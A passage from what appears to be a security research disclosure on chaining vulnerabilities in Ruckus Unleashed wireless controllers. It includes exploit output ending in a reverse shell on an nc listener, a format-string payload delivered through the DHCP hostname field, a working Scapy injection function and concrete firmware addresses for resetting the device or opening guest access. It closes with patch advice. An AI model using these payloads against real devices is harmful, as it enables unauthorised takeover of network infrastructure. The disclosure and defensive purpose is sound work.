[+] Received CSRF token: TSBbbnUIol
[*] Trying to get addresses from memory leak...
[+] Got memory leak from favorite station:
stack_addr = 0x7eab626c
lib_addr = 0x76f0daa4
[*] Using offset for ASLR:
stack_base = 0x7efdf000
stack_offset = 0x548000
lib_base = 0x769dd000
lib_offset = 0x43000
[*] Preparing stack with addresses...
0x7eab6234 -> 0x769e912c
0x7eab6248 -> 0x7eaaed92
0x7eab624c -> 0x769c59d8
0x7eab625c -> 0x769bd360
[+] Pushed addresses to stack!
[*] Sending exploit to server...
[+] Exploit successful!
At this point, we can observe the reverse shell on our listener:
% while true; do nc -vvvl 4000 ; done
Listening on 0.0.0.0 4000
Connection received on 192.168.0.1 36365
cat /etc/version
200.14.6.1.203 based on
As previously mentioned, this method still depends on direct network access and authentication. Let’s move on to the next exploitation method, which does not require either direct network connectivity or authenticated access.
Exploitation by DHCP
An attacker might not have direct access to the web controller if the administrator has enabled restricted subnet access or if the controller resides on a different VLAN. To overcome this situation, an attacker can exploit the controller without authentication using DHCP. As previously mentioned, the hostname
parameter from the DHCP protocol is used to display the actual hostname on the overview page of the web interface. If a station was previously marked as favorite, an attacker can clone its MAC address, connect to the network, and send a malicious DHCP request. Because ASLR is enabled, we opt to target a function within the binary itself. The binary for the web service emfd
is not compiled with PIE (Position Independent Executable), so function addresses remain static. This method is more constrained, as the hostname
can only contain a maximum of 63 characters, and no memory leak is available. In this proof of concept, we exploit the Ruckus R850 controller running firmware version 200.14.6.1.203
. While debugging the web application emfd
with GDB, it was observed that the 14th argument index of the vulnerable snprintf
call contains a pointer to a return address. This argument allows direct control over the program counter when the vulnerable favorite station function returns to its parent function. Through static analysis, several interesting functions were identified. For example, an attacker could reset the controller to factory defaults. The reset function begins at 0x000c9740
, but to avoid crashing the web service, we use 0x000c9750
, skipping the initial operations. The payload %1$0825168x%14$n
is used to write 825168 bytes to the address at the 14th argument index.
To trigger the hostname change, the controller must receive a DHCP request while the attacker is connected to the network. No response from the actual DHCP server is required, as the program only inspects the client request. For flexibility, we use Scapy to inject the DHCP request with the following function:
def send_dhcp_request(interface, macaddr, txid, server, offer, addr):
mac_bytes = bytes.fromhex(macaddr.replace(':', ''))
dhcp_request = (
Ether(dst="ff:ff:ff:ff:ff:ff", src=mac_bytes) /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=mac_bytes, xid=txid) /
DHCP(options=[
("message-type", "request"),
("max_dhcp_size", 1500),
("client_id", b"\x01" + mac_bytes),
("requested_addr", offer),
("server_id", server),
("hostname", f"%1$0{addr}x%14$n"),
"end",
])
)
sendp(dhcp_request, iface=interface)
return
When an attacker overwrites the return address with 0x000c9750
, the controller immediately resets to factory defaults. Afterward, the attacker can connect to the Configure.Me
network and continue exploiting the device using the API or any of the previously described vulnerabilities. However, this method is quite intrusive, and an attacker might opt for a less disruptive alternative. Since we are still on the (guest) network without direct access to the controller, we need to find a function that enables access or removes existing restrictions. Within the emfd
binary, there is a function named TechSupportCreateSSID
, which creates a new open guest network and restricts access using the captive portal. As observed in a previous vulnerability, when the captive portal is enabled for the guest network, an attacker can access FTP and exploit the path traversal vulnerability. The following settings are applied by this function:
void TechSupportCreateSSID(void)
{
...
xSetAttr(cfg, "usage", "guest");
xSetAttr(cfg, "encryption", "none");
xSetAttr(cfg, "en-grace-period-sets", "disabled");
xSetAttrFormat(cfg, "grace-period-sets", "%d", 0x1e0);
xSetAttr(cfg, "client-isolation", "enabled");
xSetAttrFormat(cfg, "do-802-11w", "%d", 0);
xSetAttrBool(cfg, "is-guest", 1);
xSetAttr(cfg, "guest-pass", "1234567890");
xSetAttrBool(cfg, "bypass-cna", 0);
xSetAttr(cfg, "web-auth", "enabled");
xSetAttr(cfg, "https-redirection", "enabled");
xSetAttr(cfg, "guest-auth", "guestpass");
xSetAttrBool(cfg, "self-service", 0);
xSetAttr(cfg, "self-service-sponsor-approval", "undefined");
xSetAttr(cfg, "self-service-notification", "undefined");
xSetAttrBool(cfg, "self-service-show-tac", 0);
xSetAttr(cfg, "description", "wlan for technical support");
...
}
To run this function, we’ll use 0x0008f8d4
as the return address. The attacker is now able to connect to the open network with the SSID named @
, which has been created by this function. After being redirected to the captive portal, the attacker learns the controller’s IP address. In this case, the controller is located at 192.168.0.1
, and the attacker now has the necessary information to proceed. To upload malicious EJS templates, previously described vulnerabilities can be reused. However, the administrator may have disabled FTP access. In the emfd
binary, there is a function that enables anonymous FTP access. We can use address 0x000c65ec
to invoke this functionality. After sending the new payload via DHCP, FTP access is enabled. The attacker can now upload the malicious EJS template files _conf.mod
and _cmdstat.mod
via FTP to the apcrashfile
directory. Afterward, the attacker must authenticate to the network using the guest password 1234567890
. In some cases, the captive portal process fails, allowing the attacker to specify a redirect site and bypass the password entirely. Once authenticated, the attacker can exploit the EJS templates to further compromise the controller and the Unleashed network.
Conclusion
This research demonstrates how an attacker can chain seemingly independent vulnerabilities, from leaked credentials to code injection, to gradually escalate privileges and seize full control of the controller. Most of you are already aware that management interfaces, such as the one provided by Ruckus Unleashed, should be isolated in a dedicated management VLAN. Additionally, configurations must be hardened, and services like FTP should be disabled unless explicitly required. However, normal use of features like the captive portal or simply marking a station as a favorite can allow an attacker to fully compromise the management controller, while connecting from the guest network.
Update to firmware version 200.18.7.1.323
or later for Unleashed and 10.5.1.0.282
for ZoneDirector as soon as possible. Change all passwords, revoke existing management interface certificates, and regenerate the private key after applying the patch.